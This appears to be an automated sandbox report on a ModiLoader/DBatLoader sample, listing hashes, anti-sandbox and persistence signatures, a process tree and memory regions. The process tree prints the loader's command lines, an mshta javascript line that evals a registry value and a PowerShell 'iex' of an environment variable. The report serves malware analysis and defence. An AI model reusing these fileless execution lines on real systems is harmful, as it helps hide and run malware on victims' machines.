Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    15-09-2024 23:46

General

  • Target

    e39b73ada152cdf38c798d4f1a3adcae_JaffaCakes118.exe

  • Size

    320KB

  • MD5

    e39b73ada152cdf38c798d4f1a3adcae

  • SHA1

    d0930ef2e3c7fe77323fb63100fd47a6e1036b52

  • SHA256

    1910eec1c97db1203b122666d465216b9cf7f5582128a3a0f158852261b296b7

  • SHA512

    bb19cfd02e1a5205a2d4285777a5604ea290b71af938855c31483d28b0ba7ad9ce4809b77801c1dd9a7168830d17ce4029d4ebedd28b84d6b0aa2acfc34bff20

  • SSDEEP

    6144:q+ipCoE71yADLfDWOaBXBo534uwJnFGOmaU5:Nip7E7/L0BY34uU7pw

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 56 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e39b73ada152cdf38c798d4f1a3adcae_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e39b73ada152cdf38c798d4f1a3adcae_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:2480
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:PzM0XYkR="kfHRSU";t9n=new%20ActiveXObject("WScript.Shell");byOA9GC4="xJxe";dD2g1w=t9n.RegRead("HKLM\\software\\Wow6432Node\\zCc0ES\\Y2CoPeqV");Zt2iEMFz="tP";eval(dD2g1w);fFXONqy3T="KXuD";
    1⤵
    • Process spawned unexpected child process
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2132
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wyfpl
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2820
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Adds policy Run key to start application
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Adds Run key to start application
        • Maps connected drives based on registry
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabA71A.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarA73C.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/756-44-0x0000000000B80000-0x0000000000B87000-memory.dmp

    Filesize

    28KB

  • memory/756-45-0x00000000000D0000-0x0000000000190000-memory.dmp

    Filesize

    768KB

  • memory/756-46-0x00000000000D0000-0x0000000000190000-memory.dmp

    Filesize

    768KB

  • memory/756-50-0x00000000000D0000-0x0000000000190000-memory.dmp

    Filesize

    768KB

  • memory/756-42-0x0000000000B80000-0x0000000000B87000-memory.dmp

    Filesize

    28KB

  • memory/756-49-0x00000000000D0000-0x0000000000190000-memory.dmp

    Filesize

    768KB

  • memory/756-48-0x00000000000D0000-0x0000000000190000-memory.dmp

    Filesize

    768KB

  • memory/756-47-0x00000000000D0000-0x0000000000190000-memory.dmp

    Filesize

    768KB

  • memory/2480-9-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-14-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-12-0x0000000000400000-0x000000000045F000-memory.dmp

    Filesize

    380KB

  • memory/2480-13-0x0000000002600000-0x0000000002644000-memory.dmp

    Filesize

    272KB

  • memory/2480-83-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-4-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-0-0x0000000002600000-0x0000000002644000-memory.dmp

    Filesize

    272KB

  • memory/2480-5-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-8-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-7-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-6-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-3-0x0000000000050000-0x0000000000110000-memory.dmp

    Filesize

    768KB

  • memory/2480-1-0x0000000000400000-0x000000000045F000-memory.dmp

    Filesize

    380KB

  • memory/2596-32-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-69-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-31-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-29-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-27-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-28-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-23-0x0000000000B80000-0x0000000000B87000-memory.dmp

    Filesize

    28KB

  • memory/2596-41-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-37-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-38-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-39-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-40-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-35-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-36-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-34-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-30-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-51-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-52-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-55-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-58-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-59-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-25-0x0000000000B80000-0x0000000000B87000-memory.dmp

    Filesize

    28KB

  • memory/2596-71-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-70-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-68-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-67-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-66-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-65-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-64-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-63-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-62-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-61-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-60-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-57-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-56-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-53-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-72-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-74-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2596-26-0x0000000000170000-0x0000000000230000-memory.dmp

    Filesize

    768KB

  • memory/2820-33-0x0000000006210000-0x00000000062D0000-memory.dmp

    Filesize

    768KB

  • memory/2820-21-0x0000000006210000-0x00000000062D0000-memory.dmp

    Filesize

    768KB